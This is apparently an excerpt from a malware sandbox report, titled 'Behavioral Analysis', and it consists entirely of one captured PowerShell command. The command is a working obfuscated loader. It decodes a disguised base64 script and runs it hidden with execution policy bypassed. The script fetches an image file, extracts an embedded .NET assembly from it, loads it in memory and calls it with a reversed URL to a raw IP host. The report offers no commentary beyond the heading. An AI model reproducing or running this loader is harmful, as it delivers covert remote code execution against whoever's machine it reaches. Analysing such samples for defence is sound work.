Behavioral Analysis

powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'J⁂Bp⁂G0⁂YQBn⁂GU⁂VQBy⁂Gw⁂I⁂⁂9⁂C⁂⁂JwBo⁂HQ⁂d⁂Bw⁂HM⁂Og⁂v⁂C8⁂YwBk⁂G4⁂LgBw⁂Gk⁂e⁂Bl⁂Gw⁂YgBp⁂G4⁂LgBp⁂G8⁂LwB2⁂DI⁂LwBm⁂Gw⁂YQB0⁂C0⁂dwBh⁂HY⁂ZQ⁂t⁂GY⁂Mw⁂3⁂D⁂⁂Ng⁂w⁂C8⁂bwBy⁂Gk⁂ZwBp⁂G4⁂YQBs⁂C8⁂YgBh⁂HQ⁂XwBu⁂GE⁂d⁂Bp⁂HY⁂ZQ⁂u⁂Go⁂c⁂Bl⁂Gc⁂Jw⁂7⁂CQ⁂dwBl⁂GI⁂QwBs⁂Gk⁂ZQBu⁂HQ⁂I⁂⁂9⁂C⁂⁂TgBl⁂Hc⁂LQBP⁂GI⁂agBl⁂GM⁂d⁂⁂g⁂FM⁂eQBz⁂HQ⁂ZQBt⁂C4⁂TgBl⁂HQ⁂LgBX⁂GU⁂YgBD⁂Gw⁂aQBl⁂G4⁂d⁂⁂7⁂CQ⁂aQBt⁂GE⁂ZwBl⁂EI⁂eQB0⁂GU⁂cw⁂g⁂D0⁂I⁂⁂k⁂Hc⁂ZQBi⁂EM⁂b⁂Bp⁂GU⁂bgB0⁂C4⁂R⁂Bv⁂Hc⁂bgBs⁂G8⁂YQBk⁂EQ⁂YQB0⁂GE⁂K⁂⁂k⁂Gk⁂bQBh⁂Gc⁂ZQBV⁂HI⁂b⁂⁂p⁂Ds⁂J⁂Bp⁂G0⁂YQBn⁂GU⁂V⁂Bl⁂Hg⁂d⁂⁂g⁂D0⁂I⁂Bb⁂FM⁂eQBz⁂HQ⁂ZQBt⁂C4⁂V⁂Bl⁂Hg⁂d⁂⁂u⁂EU⁂bgBj⁂G8⁂Z⁂Bp⁂G4⁂ZwBd⁂Do⁂OgBV⁂FQ⁂Rg⁂4⁂C4⁂RwBl⁂HQ⁂UwB0⁂HI⁂aQBu⁂Gc⁂K⁂⁂k⁂Gk⁂bQBh⁂Gc⁂ZQBC⁂Hk⁂d⁂Bl⁂HM⁂KQ⁂7⁂CQ⁂cwB0⁂GE⁂cgB0⁂EY⁂b⁂Bh⁂Gc⁂I⁂⁂9⁂C⁂⁂Jw⁂8⁂Dw⁂QgBB⁂FM⁂RQ⁂2⁂DQ⁂XwBT⁂FQ⁂QQBS⁂FQ⁂Pg⁂+⁂Cc⁂Ow⁂k⁂GU⁂bgBk⁂EY⁂b⁂Bh⁂Gc⁂I⁂⁂9⁂C⁂⁂Jw⁂8⁂Dw⁂QgBB⁂FM⁂RQ⁂2⁂DQ⁂XwBF⁂E4⁂R⁂⁂+⁂D4⁂Jw⁂7⁂CQ⁂cwB0⁂GE⁂cgB0⁂Ek⁂bgBk⁂GU⁂e⁂⁂g⁂D0⁂I⁂⁂k⁂Gk⁂bQBh⁂Gc⁂ZQBU⁂GU⁂e⁂B0⁂C4⁂SQBu⁂GQ⁂ZQB4⁂E8⁂Zg⁂o⁂CQ⁂cwB0⁂GE⁂cgB0⁂EY⁂b⁂Bh⁂Gc⁂KQ⁂7⁂CQ⁂ZQBu⁂GQ⁂SQBu⁂GQ⁂ZQB4⁂C⁂⁂PQ⁂g⁂CQ⁂aQBt⁂GE⁂ZwBl⁂FQ⁂ZQB4⁂HQ⁂LgBJ⁂G4⁂Z⁂Bl⁂Hg⁂TwBm⁂Cg⁂J⁂Bl⁂G4⁂Z⁂BG⁂Gw⁂YQBn⁂Ck⁂Ow⁂k⁂HM⁂d⁂Bh⁂HI⁂d⁂BJ⁂G4⁂Z⁂Bl⁂Hg⁂I⁂⁂t⁂Gc⁂ZQ⁂g⁂D⁂⁂I⁂⁂t⁂GE⁂bgBk⁂C⁂⁂J⁂Bl⁂G4⁂Z⁂BJ⁂G4⁂Z⁂Bl⁂Hg⁂I⁂⁂t⁂Gc⁂d⁂⁂g⁂CQ⁂cwB0⁂GE⁂cgB0⁂Ek⁂bgBk⁂GU⁂e⁂⁂7⁂CQ⁂cwB0⁂GE⁂cgB0⁂Ek⁂bgBk⁂GU⁂e⁂⁂g⁂Cs⁂PQ⁂g⁂CQ⁂cwB0⁂GE⁂cgB0⁂EY⁂b⁂Bh⁂Gc⁂LgBM⁂GU⁂bgBn⁂HQ⁂a⁂⁂7⁂CQ⁂YgBh⁂HM⁂ZQ⁂2⁂DQ⁂T⁂Bl⁂G4⁂ZwB0⁂Gg⁂I⁂⁂9⁂C⁂⁂J⁂Bl⁂G4⁂Z⁂BJ⁂G4⁂Z⁂Bl⁂Hg⁂I⁂⁂t⁂C⁂⁂J⁂Bz⁂HQ⁂YQBy⁂HQ⁂SQBu⁂GQ⁂ZQB4⁂Ds⁂J⁂Bi⁂GE⁂cwBl⁂DY⁂N⁂BD⁂G8⁂bQBt⁂GE⁂bgBk⁂C⁂⁂PQ⁂g⁂CQ⁂aQBt⁂GE⁂ZwBl⁂FQ⁂ZQB4⁂HQ⁂LgBT⁂HU⁂YgBz⁂HQ⁂cgBp⁂G4⁂Zw⁂o⁂CQ⁂cwB0⁂GE⁂cgB0⁂Ek⁂bgBk⁂GU⁂e⁂⁂s⁂C⁂⁂J⁂Bi⁂GE⁂cwBl⁂DY⁂N⁂BM⁂GU⁂bgBn⁂HQ⁂a⁂⁂p⁂Ds⁂J⁂Bj⁂G8⁂bQBt⁂GE⁂bgBk⁂EI⁂eQB0⁂GU⁂cw⁂g⁂D0⁂I⁂Bb⁂FM⁂eQBz⁂HQ⁂ZQBt⁂C4⁂QwBv⁂G4⁂dgBl⁂HI⁂d⁂Bd⁂Do⁂OgBG⁂HI⁂bwBt⁂EI⁂YQBz⁂GU⁂Ng⁂0⁂FM⁂d⁂By⁂Gk⁂bgBn⁂Cg⁂J⁂Bi⁂GE⁂cwBl⁂DY⁂N⁂BD⁂G8⁂bQBt⁂GE⁂bgBk⁂Ck⁂Ow⁂k⁂Gw⁂bwBh⁂GQ⁂ZQBk⁂EE⁂cwBz⁂GU⁂bQBi⁂Gw⁂eQ⁂g⁂D0⁂I⁂Bb⁂FM⁂eQBz⁂HQ⁂ZQBt⁂C4⁂UgBl⁂GY⁂b⁂Bl⁂GM⁂d⁂Bp⁂G8⁂bg⁂u⁂EE⁂cwBz⁂GU⁂bQBi⁂Gw⁂eQBd⁂Do⁂OgBM⁂G8⁂YQBk⁂Cg⁂J⁂Bj⁂G8⁂bQBt⁂GE⁂bgBk⁂EI⁂eQB0⁂GU⁂cw⁂p⁂Ds⁂J⁂B0⁂Hk⁂c⁂Bl⁂C⁂⁂PQ⁂g⁂CQ⁂b⁂Bv⁂GE⁂Z⁂Bl⁂GQ⁂QQBz⁂HM⁂ZQBt⁂GI⁂b⁂B5⁂C4⁂RwBl⁂HQ⁂V⁂B5⁂H⁂⁂ZQ⁂o⁂Cc⁂RgBp⁂GI⁂ZQBy⁂C4⁂S⁂Bv⁂G0⁂ZQ⁂n⁂Ck⁂Ow⁂k⁂G0⁂ZQB0⁂Gg⁂bwBk⁂C⁂⁂PQ⁂g⁂CQ⁂d⁂B5⁂H⁂⁂ZQ⁂u⁂Ec⁂ZQB0⁂E0⁂ZQB0⁂Gg⁂bwBk⁂Cg⁂JwBW⁂EE⁂SQ⁂n⁂Ck⁂Ow⁂k⁂GE⁂cgBn⁂HU⁂bQBl⁂G4⁂d⁂Bz⁂C⁂⁂PQ⁂g⁂Cw⁂K⁂⁂n⁂HQ⁂e⁂B0⁂C4⁂V⁂BP⁂E8⁂Ug⁂v⁂HM⁂b⁂Bj⁂Gg⁂Lw⁂2⁂DQ⁂MQ⁂u⁂DM⁂N⁂⁂y⁂C4⁂Mw⁂u⁂DI⁂OQ⁂x⁂C8⁂Lw⁂6⁂H⁂⁂d⁂B0⁂Gg⁂Jw⁂p⁂Ds⁂J⁂Bt⁂GU⁂d⁂Bo⁂G8⁂Z⁂⁂u⁂Ek⁂bgB2⁂G8⁂awBl⁂Cg⁂J⁂Bu⁂HU⁂b⁂Bs⁂Cw⁂I⁂⁂k⁂GE⁂cgBn⁂HU⁂bQBl⁂G4⁂d⁂Bz⁂Ck⁂';$OWjuxd = [system.Text.encoding]::Unicode.GetString( [system.Convert]::Frombase64String( $codigo.replace('⁂','A') ) );powershell.exe -windowstyle hidden -executionpolicy bypss -NoProfile -command $OWjuxD